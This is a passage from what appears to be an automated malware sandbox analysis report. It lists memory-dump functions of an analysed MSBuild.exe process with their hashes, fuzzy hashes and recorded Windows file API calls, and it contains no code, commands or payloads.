Opcode ID: 55497851652f9fd0f936ebe66ccc563bc91cff2a6feb4f492353091f244c284c
Instruction ID: 35cf38903150994ab02b752fe283caa445cf38545e8659a0abcc424b69fcc8c4
Opcode Fuzzy Hash: 55497851652f9fd0f936ebe66ccc563bc91cff2a6feb4f492353091f244c284c
Instruction Fuzzy Hash: B2E0173218E2E4BED3A302687C21BA8BF304B1B301F6906A7D18A8E0E3C1454109FA52

Uniqueness

Uniqueness Score: -1.00%

Function 00F27690, Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e6934b6ba1253105678abc71b84c5a4234fc75cb125d5ea5e6db553ad944b4c
Instruction ID: 0662c9450829c9900f170614647f14490ab94a8532f9bc8d484e7bbfea990953
Opcode Fuzzy Hash: 9e6934b6ba1253105678abc71b84c5a4234fc75cb125d5ea5e6db553ad944b4c
Instruction Fuzzy Hash: F8D0C23300DB70DBC3357A6CB400762BEA95B46314F14046FC04205A008662E484F3E2

Uniqueness

Uniqueness Score: -1.00%

Function 00F257F6, Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a8b71d5375df931fb524329b584f1ce47effc63bd3ed68cd2fa9f73af9da14a
Instruction ID: de15cb2399c43d40c68f3cb9b17215fd39a7c8f2bd1848544e69a7cc59d40853
Opcode Fuzzy Hash: 9a8b71d5375df931fb524329b584f1ce47effc63bd3ed68cd2fa9f73af9da14a
Instruction Fuzzy Hash: 0AD01232E08524CFCB44A7F4F9157EDBBB19B84624720547BD10BD6141DE70584577D2

Uniqueness

Uniqueness Score: -1.00%

Function 00F2A3C0, Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e6934b6ba1253105678abc71b84c5a4234fc75cb125d5ea5e6db553ad944b4c
Instruction ID: 76e54b87b10d18dab7b8ef82910cf8bf96abc5caed076510c2ddf026c68c9203
Opcode Fuzzy Hash: 9e6934b6ba1253105678abc71b84c5a4234fc75cb125d5ea5e6db553ad944b4c
Instruction Fuzzy Hash: 4ED0C232009770CBC335CAA5B500B66BAE95F41714F14045FD14305940C6A3EC84F393

Uniqueness

Uniqueness Score: -1.00%

Function 00F2A3F0, Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2a9c0a9fb31eb3a9ae10310a6f61766e591f9efc5e1e887559e189f0e1d6021
Instruction ID: 6abdba05a7c6e06c5a6056a2e23a97f2e96b13ad7e2493ec9e80b9cb97cf36ba
Opcode Fuzzy Hash: c2a9c0a9fb31eb3a9ae10310a6f61766e591f9efc5e1e887559e189f0e1d6021
Instruction Fuzzy Hash: B0D02B3310B790DFC316CEF4F4006627FA55F46304B14089CC09B08401C262E445F742

Uniqueness

Uniqueness Score: -1.00%

Function 00F2E093, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d2463d01d6bb1816e5d669cf1b9efb3837443171218c08f4906982066a8e59d
Instruction ID: b5405bb59a19c1df3725dce739b7023d8a92b3ffef21a48b13dc4d62edd981fa
Opcode Fuzzy Hash: 6d2463d01d6bb1816e5d669cf1b9efb3837443171218c08f4906982066a8e59d
Instruction Fuzzy Hash: 45D0A733109238D78228C600F4106A67369FA043513B0445ED10B47700CBF2A802BFD1

Uniqueness

Uniqueness Score: -1.00%

Function 009623F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.475951638.0000000000962000.00000040.00000001.sdmp, Offset: 00962000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bba08a6f77e87382a5398e11995529131ba9b17a4460dff7fefe21b62eac6533
Instruction ID: e30a66c17fddb030b346f8969e026a182536e5aa57e68f5e1429ad7d23a501af
Opcode Fuzzy Hash: bba08a6f77e87382a5398e11995529131ba9b17a4460dff7fefe21b62eac6533
Instruction Fuzzy Hash: 91D05E79219A818FD3268B1CC1A8BA53B98AF52B04F4644FDE8008B673CB68D981D200

Uniqueness

Uniqueness Score: -1.00%

Function 00F2E098, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61c8a3ab388d7661121e26fc0f31774dc4b5e10235fb10a0ddb9feff9c64b00f
Instruction ID: 74851a8dfcf2bb52828ac80b2686ff45579c070586a68986650856a3fdbb948e
Opcode Fuzzy Hash: 61c8a3ab388d7661121e26fc0f31774dc4b5e10235fb10a0ddb9feff9c64b00f
Instruction Fuzzy Hash: BBD0C933219238DB8228DA55F414AA677A9BA45762370496ED10B4BB409BF2A842BFD1

Uniqueness

Uniqueness Score: -1.00%

Function 00F2E418, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e7f8cdc54eac6eceac7fa3e0c29ad67a8d5d95c9b3f2469b5e874a7bb4d2893
Instruction ID: 928653aea420d6e461380b97baacc8ca8c11c3e0149b3cb270eb1ba8cd56c878
Opcode Fuzzy Hash: 5e7f8cdc54eac6eceac7fa3e0c29ad67a8d5d95c9b3f2469b5e874a7bb4d2893
Instruction Fuzzy Hash: 63C01235905234934A1471A57D024997758894526AB640079D90896100E6699915A2D1

Uniqueness

Uniqueness Score: -1.00%

Function 00F27140, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a0939ec5680cffb9ecca245d0aafbbebb033a67d769e75d7ec85179cdc98f5e
Instruction ID: 617491413feb13f806e55b0a3aadc38f4e023f349aaf3ab76cae9f1786dbc354
Opcode Fuzzy Hash: 9a0939ec5680cffb9ecca245d0aafbbebb033a67d769e75d7ec85179cdc98f5e
Instruction Fuzzy Hash: ACD0423AA001048FC704DB88E5949D9F7F1EB88325F28C1A6D919A7251C732ED56CA50

Uniqueness

Uniqueness Score: -1.00%

Function 009623BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.475951638.0000000000962000.00000040.00000001.sdmp, Offset: 00962000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53cbe128b082add28cfe7cb3828c52b3bf5250a5e0b2a855c5408e17d1799a7c
Instruction ID: 58c98df1a24e5662eb6c2249522705efafbe739987633c7ffd4fd7f4e9cea0a9
Opcode Fuzzy Hash: 53cbe128b082add28cfe7cb3828c52b3bf5250a5e0b2a855c5408e17d1799a7c
Instruction Fuzzy Hash: 46D05E342006818BC715DB0CC594F5937D8AB41B00F0644E9AC008B762C3A8DC81C600

Uniqueness

Uniqueness Score: -1.00%

Function 00F25D5F, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f868c651d1e1f88b0943ccf12fcd7f16be44640b21800dacd67b65377e6d5da
Instruction ID: f5a8bb22d0a6e35144e69457927518654bdf78900e5c80d7b80e3279b652cacd
Opcode Fuzzy Hash: 2f868c651d1e1f88b0943ccf12fcd7f16be44640b21800dacd67b65377e6d5da
Instruction Fuzzy Hash: FAD0C93295EAD18FC7225B60786D3253F744D0365939805D3C459CE472D9644855E793

Uniqueness

Uniqueness Score: -1.00%

Function 00F25478, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a46f9d8f79876bd4288035a730ffea966d383201333e1eeae8de25f3a74d7033
Instruction ID: 9694ef9d2df1616d9d90da724ce98904ef5a4f0ee1b546b3025a98c0307674a9
Opcode Fuzzy Hash: a46f9d8f79876bd4288035a730ffea966d383201333e1eeae8de25f3a74d7033
Instruction Fuzzy Hash: 53D0C93242CA148BD720B7A87D2D72DFA58A700B17F044081D01E80432DB3045D0F612

Uniqueness

Uniqueness Score: -1.00%

Function 00F27E5E, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67f8015a76b9eba3170e6562104004a3df473a319157172ab50d7176bc68beb1
Instruction ID: 9c254bc9a97a60977a012a6cf7293bd758e333b0f47c9167ac78b39d0ab6b9df
Opcode Fuzzy Hash: 67f8015a76b9eba3170e6562104004a3df473a319157172ab50d7176bc68beb1
Instruction Fuzzy Hash: 0DD05E31D14618CFCB41DF75E92819D77F0AB083203200369D4029B391EB300C01EB20

Uniqueness

Uniqueness Score: -1.00%

Function 00F20180, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e1a15c1e646bddb376517fcd6733a29d1a449f8866b85fcc7f747abcee173b1
Instruction ID: 425e79fee3d432bd34ce6191dd9ebc534d905b7e6623ee1440302357f2d90f83
Opcode Fuzzy Hash: 3e1a15c1e646bddb376517fcd6733a29d1a449f8866b85fcc7f747abcee173b1
Instruction Fuzzy Hash: DBD01231214304CFCB082B74E4194283365AB45205350087CD80A87750EF76D880DA04

Uniqueness

Uniqueness Score: -1.00%

Function 00F25D70, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12f2bb1521e74b8a8e3c61563801915ef49cec001f2a606aa1dc79cc99065ffa
Instruction ID: 1021af74a45e7be871f6a01e5bfdbaf7dc4216dec1784b8dbd0bcde0eed8cbca
Opcode Fuzzy Hash: 12f2bb1521e74b8a8e3c61563801915ef49cec001f2a606aa1dc79cc99065ffa
Instruction Fuzzy Hash: CBC08C3221CE058F9A0027F07C0D22A77684A40A523C00014B40E8A120EE3084403156

Uniqueness

Uniqueness Score: -1.00%

Function 00F2935C, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 512015ebb0f720e1232de7c8144bd5ae5d6ce8458dffcedcc1d54907be0bf689
Instruction ID: e81ead63daf628acef96895c6d82fcede8b81d41725d705cf48ae740eb520e3f
Opcode Fuzzy Hash: 512015ebb0f720e1232de7c8144bd5ae5d6ce8458dffcedcc1d54907be0bf689
Instruction Fuzzy Hash: 9BC012731EC260F2E72569907E0FFF5362C9344717F714801B20FA68C0D5E988117925

Uniqueness

Uniqueness Score: -1.00%

Function 00F2D039, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a301ad5e5cb37115997a0a1bca4758ed5e476643d760374131a372eeb514b23
Instruction ID: bbedc9198cb52e997e7af5507bc7503c271bf098e6a1b9f8ed3f42ee94ae6b9f
Opcode Fuzzy Hash: 5a301ad5e5cb37115997a0a1bca4758ed5e476643d760374131a372eeb514b23
Instruction Fuzzy Hash: 36C08C3200C318D3C200A295EC02B547E98B6413103A04020F401812ADEFE86943F395

Uniqueness

Uniqueness Score: -1.00%

Function 00F20660, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c19ca629100cc4a555506b4c464dc511668cf634d9bc8556588d305f68e0917
Instruction ID: 84cf2ec6831c4555fb75ae43fcc1491c111788bc0495a19811d70f719e92acf2
Opcode Fuzzy Hash: 1c19ca629100cc4a555506b4c464dc511668cf634d9bc8556588d305f68e0917
Instruction Fuzzy Hash: 09C09B7305D764CEC25457B17C05639B619E6D1305760C4359505105328D7694B1FD56

Uniqueness

Uniqueness Score: -1.00%

Function 00F2E98B, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d60456fe58d095c73e52b1c975f2d82fea861a3b0ad523b9a305c49210f208a
Instruction ID: 1927a138d1e34e676c9db31bae343771bb52f882c8df516f580f08a18420e671
Opcode Fuzzy Hash: 1d60456fe58d095c73e52b1c975f2d82fea861a3b0ad523b9a305c49210f208a
Instruction Fuzzy Hash: D6B0923258AB084B8E9037F4B80A219B69C59846A17844021B91DC2212FE68A480545E

Uniqueness

Uniqueness Score: -1.00%

Function 00F2D040, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce077051e10ae3186c53ccec84e823dfae5eb5aadf0fc71fa1c0561c8ffdf018
Instruction ID: c3d3ed69fca5e6b6cdd02436292bf51843f8656a5b93ae3aa801608a64507d90
Opcode Fuzzy Hash: ce077051e10ae3186c53ccec84e823dfae5eb5aadf0fc71fa1c0561c8ffdf018
Instruction Fuzzy Hash: 4AB0923200C328D7C200A759FD45E697E2CBA423107A00124F902466BEEFA86942F6A6

Uniqueness

Uniqueness Score: -1.00%

Function 00F2E990, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 238a439cc4b1db447249a93f53a16e804684fde79abf1c06b9af4c1b2d328eaf
Instruction ID: 62935f2ca6344eb34034c28f5403eba50cf3532c78a928c648453a890514799f
Opcode Fuzzy Hash: 238a439cc4b1db447249a93f53a16e804684fde79abf1c06b9af4c1b2d328eaf
Instruction Fuzzy Hash: 78B0123158670C47CE8033F0780D11D775C19845A17800011B91D83213BE78A4805459

Uniqueness

Uniqueness Score: -1.00%

Function 00F27164, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9331830965d72d12fcbefa973c87c0cf332396a92bd300e1243d284f656f33ac
Instruction ID: 8e24ff672bcd2f65461f5fe6c1d707a6bcc5aadbf9c3753d2d1d82a736f2c5b2
Opcode Fuzzy Hash: 9331830965d72d12fcbefa973c87c0cf332396a92bd300e1243d284f656f33ac
Instruction Fuzzy Hash: 16B092B7A48118C9DB009A84B4413EDFB20EB90325F204023C31052140D2320178A695

Uniqueness

Uniqueness Score: -1.00%

Function 00F22EC0, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b684041c9335f5ff17a3b1bb37df048aeee62f30a76549234c7f8fb590925b4
Instruction ID: 0b8eb965635366fe0b7d488d1d8d0f828b125674ae91328b00e048f6a28a8f2d
Opcode Fuzzy Hash: 3b684041c9335f5ff17a3b1bb37df048aeee62f30a76549234c7f8fb590925b4
Instruction Fuzzy Hash: 8AB0123121C6091B178057F13C08E12338C86405253800060980CC1410F900D4E03144

Uniqueness

Uniqueness Score: -1.00%

Function 00F29373, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee91a8752c5ec942c5295f68f95c5f02bb5edcb96246357f08a646865e4ba32e
Instruction ID: 4bb0c680e39e8b271d4eaee8b69c1457ce002bda414b6223d39a47d0c061f0d1
Opcode Fuzzy Hash: ee91a8752c5ec942c5295f68f95c5f02bb5edcb96246357f08a646865e4ba32e
Instruction Fuzzy Hash: 9AB0123318C330F1F52489503C0ABB0352C6304701F700401B21F160C005D18C00B50B

Uniqueness

Uniqueness Score: -1.00%

Function 00F265AF, Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.478158408.0000000000F20000.00000040.00000001.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e5c8109d4495937199fbb84c0cbd44b9456c0695f29a594dd11fd81f4f87c0a
Instruction ID: 63a0cfb2e64c8f08ffa73e1378318aca8fbd67a8d9bf51bd276788012ac88c29
Opcode Fuzzy Hash: 2e5c8109d4495937199fbb84c0cbd44b9456c0695f29a594dd11fd81f4f87c0a
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: MSBuild.exe PID: 5888 Parent PID: 528 MSBuild.exeCOMMON

Executed Functions

Function 048D1DF8, Relevance: 1.6, Strings: 1, Instructions: 383COMMON

Download Yara Rule

Strings

</kr, xrefs: 048D1FD9

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID: </kr
API String ID: 0-2427075492
Opcode ID: ad02bb6006d058c9eb5cd2f064f32083ccb5264c3458786e491a7ef16a098006
Instruction ID: 64917cdb7a134707709d1f39b8538d414382b536a74e1c0ed112f1a4de81cd61
Opcode Fuzzy Hash: ad02bb6006d058c9eb5cd2f064f32083ccb5264c3458786e491a7ef16a098006
Instruction Fuzzy Hash: DEF15C31705205CFCB15EF68C488A69BBF6AF84310F46CAA9E405CB665DB70FD45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0090A533, Relevance: 1.6, APIs: 1, Instructions: 98fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0090A5E9

Memory Dump Source

Source File: 00000007.00000002.226015457.000000000090A000.00000040.00000001.sdmp, Offset: 0090A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a5bc429066470b1eb5be89b399e01711f7df23d5a31364e184e9112e66a2ec6d
Instruction ID: 89cd1ad7d817fcf86b1cb43d0e79ddd9f540851af7a15058edc472f64a081f8e
Opcode Fuzzy Hash: a5bc429066470b1eb5be89b399e01711f7df23d5a31364e184e9112e66a2ec6d
Instruction Fuzzy Hash: 3F3163B2505340AFE722CB25DC44F56BFF8EF45714F08849AE9848B252D375A905DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0090A640, Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E2C,960F8038,00000000,00000000,00000000,00000000), ref: 0090A6D5

Memory Dump Source

Source File: 00000007.00000002.226015457.000000000090A000.00000040.00000001.sdmp, Offset: 0090A000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 61e5cdd302694a30613553501c6b8563b2617a5be93987434548d5a1ef1611ed
Instruction ID: 3df0635bc9d56a3333ba50b90124db04e00301d72cd1f160b24009af3b1e2af1
Opcode Fuzzy Hash: 61e5cdd302694a30613553501c6b8563b2617a5be93987434548d5a1ef1611ed
Instruction Fuzzy Hash: BB21C7B64497806FE7128B25DC41FA2BFB8EF47720F1880D6EA848B193D2646909C771

Uniqueness

Uniqueness Score: -1.00%

Function 0090A56A, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0090A5E9

Memory Dump Source

Source File: 00000007.00000002.226015457.000000000090A000.00000040.00000001.sdmp, Offset: 0090A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7c85ceee454e2954fc6c8e39d502552592bae1c308d5c78e7d3648de68020375
Instruction ID: 6a8e80843d328598d7a4ebfada354588dfdc31d9868cb285f046360a59f1cbe0
Opcode Fuzzy Hash: 7c85ceee454e2954fc6c8e39d502552592bae1c308d5c78e7d3648de68020375
Instruction Fuzzy Hash: FE218171500704AFE721DF65CC45F66FBE8EF04710F18846AE9858B291D775E805DB72

Uniqueness

Uniqueness Score: -1.00%

Function 0090A710, Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,00000E2C,960F8038,00000000,00000000,00000000,00000000), ref: 0090A7A1

Memory Dump Source

Source File: 00000007.00000002.226015457.000000000090A000.00000040.00000001.sdmp, Offset: 0090A000, based on PE: false

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: f6d84fcd363f38df6f8e826a54c6902427d564e288ba135e3e3ca714b64a27a8
Instruction ID: 9cab87e36df92518ba9e71e0e3583abcb8fec2ed795bf0fb96e6a5e199f76c51
Opcode Fuzzy Hash: f6d84fcd363f38df6f8e826a54c6902427d564e288ba135e3e3ca714b64a27a8
Instruction Fuzzy Hash: 0921A172409380AFE7228F65DC44F56BFB8EF46314F0884DBEA849B153C265A809CB72

Uniqueness

Uniqueness Score: -1.00%

Function 0090AC1C, Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

VerLanguageNameW.KERNELBASE(?,00000E2C,?,?), ref: 0090ACB2

Memory Dump Source

Source File: 00000007.00000002.226015457.000000000090A000.00000040.00000001.sdmp, Offset: 0090A000, based on PE: false

Similarity

API ID: LanguageName
String ID:
API String ID: 2060303382-0
Opcode ID: 0df6618387fb8e40f0578dfc8fd81f1e3bf65e33c0c9b2cf95a2dc756bbe484d
Instruction ID: 0948d75ed6c05bb5b1cfedf1d707fd94a4373101b950a87a327ea41352e95950
Opcode Fuzzy Hash: 0df6618387fb8e40f0578dfc8fd81f1e3bf65e33c0c9b2cf95a2dc756bbe484d
Instruction Fuzzy Hash: B42195754097806FD3138B259C51F62BFB4EF87B10F0981DBE8848B653D225A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 0090A336, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0090A39C

Memory Dump Source

Source File: 00000007.00000002.226015457.000000000090A000.00000040.00000001.sdmp, Offset: 0090A000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: e70149fbb085be9ba0e961a3a9c80fef0c36dc3c4fbeb0397bb7d712fbc6f6a4
Instruction ID: 75a5f2184cb81ae4cb70e8c446e14b08b882d395957db7847718ea23ecb7b953
Opcode Fuzzy Hash: e70149fbb085be9ba0e961a3a9c80fef0c36dc3c4fbeb0397bb7d712fbc6f6a4
Instruction Fuzzy Hash: CE216D7150A3C49FD7128B25DC45A56BFB4EF46220F0984EBDD85CF163C279A948CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0090A7EB, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.KERNELBASE(?,?), ref: 0090A863

Memory Dump Source

Source File: 00000007.00000002.226015457.000000000090A000.00000040.00000001.sdmp, Offset: 0090A000, based on PE: false

Similarity

API ID: FileInfoSizeVersion
String ID:
API String ID: 1661704012-0
Opcode ID: bc1ca338f10a3000699ee65c810e6b5aec98dd95965e5855e906eaadf959a4e0
Instruction ID: a10a2fca475d05b094527825fe0540746f375558965cafe4eaa01298155a5057
Opcode Fuzzy Hash: bc1ca338f10a3000699ee65c810e6b5aec98dd95965e5855e906eaadf959a4e0
Instruction Fuzzy Hash: 2821AE714093C45FD712CB25DC45B92BFE8EF16314F0980EADD848F153D2659909CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0090A1F4, Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNELBASE ref: 0090A269

Memory Dump Source

Source File: 00000007.00000002.226015457.000000000090A000.00000040.00000001.sdmp, Offset: 0090A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: e8eed8cc2fee4ddd5f01843f3226268eacee5dc3248c23476f23aa391341ad19
Instruction ID: 00eba402544b384697a0fe8c7324381fde2c63bae06006fcf7832a4673bedb2d
Opcode Fuzzy Hash: e8eed8cc2fee4ddd5f01843f3226268eacee5dc3248c23476f23aa391341ad19
Instruction Fuzzy Hash: B5215C3540E7C49FD7128B25CC95A52BFB4EF03220F0A80DBD9848F1A3D269A909CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0090A742, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,00000E2C,960F8038,00000000,00000000,00000000,00000000), ref: 0090A7A1

Memory Dump Source

Source File: 00000007.00000002.226015457.000000000090A000.00000040.00000001.sdmp, Offset: 0090A000, based on PE: false

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 2cc4efbced7c1f4fab58f9a47385c31ec8afa52af9c54e35ba6e46996a8ff21d
Instruction ID: e034a0810bf83b36923771df59f8194abe96a7d2713f58404363b8bc2a6f126b
Opcode Fuzzy Hash: 2cc4efbced7c1f4fab58f9a47385c31ec8afa52af9c54e35ba6e46996a8ff21d
Instruction Fuzzy Hash: 95119071400604EFEB218F55DC80F56FBA8EF54310F14846BEA459A251C275A4088BB2

Uniqueness

Uniqueness Score: -1.00%

Function 0090A8B4, Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GetFileVersionInfoW.KERNELBASE(?,?,?,?), ref: 0090A919

Memory Dump Source

Source File: 00000007.00000002.226015457.000000000090A000.00000040.00000001.sdmp, Offset: 0090A000, based on PE: false

Similarity

API ID: FileInfoVersion
String ID:
API String ID: 2427832333-0
Opcode ID: 31bada433c07891ce540a7994f1dadc425d18575dfc43db9fc4a961b8c1da404
Instruction ID: 543389bdb9ba37b77b9200f02a9fb3ff901e99a752bd9fade50a6dd97f8c4302
Opcode Fuzzy Hash: 31bada433c07891ce540a7994f1dadc425d18575dfc43db9fc4a961b8c1da404
Instruction Fuzzy Hash: E611D372605384AFDB218B15DC40F62FFF8EF15220F09809EED858B252D261E808CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0090A3E3, Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0090A448

Memory Dump Source

Source File: 00000007.00000002.226015457.000000000090A000.00000040.00000001.sdmp, Offset: 0090A000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: b88e61bdb504f37dca7e8c2d7aa31b70cba4cc08bd2d1de526a7362aa31581a9
Instruction ID: ab0b871aa93592724c7c2002076978c4ff382685b4546eef14b50d723c668031
Opcode Fuzzy Hash: b88e61bdb504f37dca7e8c2d7aa31b70cba4cc08bd2d1de526a7362aa31581a9
Instruction Fuzzy Hash: 8B119D7540D7C4AFD7128B259C84BA2BFB4DF13614F0980CBED858F2A3D269A909D772

Uniqueness

Uniqueness Score: -1.00%

Function 0090A682, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E2C,960F8038,00000000,00000000,00000000,00000000), ref: 0090A6D5

Memory Dump Source

Source File: 00000007.00000002.226015457.000000000090A000.00000040.00000001.sdmp, Offset: 0090A000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: a8b8a4ed3977b0a98f606ec55442d890becb60d8037b54ece1bbb4cc9419172b
Instruction ID: 197c5318cf09b8f5a0d78cac0020b09c598c4d9148373188b895ad363be3cd69
Opcode Fuzzy Hash: a8b8a4ed3977b0a98f606ec55442d890becb60d8037b54ece1bbb4cc9419172b
Instruction Fuzzy Hash: 5C01D271500704EEE720DB15DC85FA6FFACEF15720F18C497EE449B281D6B9A8088AB2

Uniqueness

Uniqueness Score: -1.00%

Function 0090A8D6, Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

GetFileVersionInfoW.KERNELBASE(?,?,?,?), ref: 0090A919

Memory Dump Source

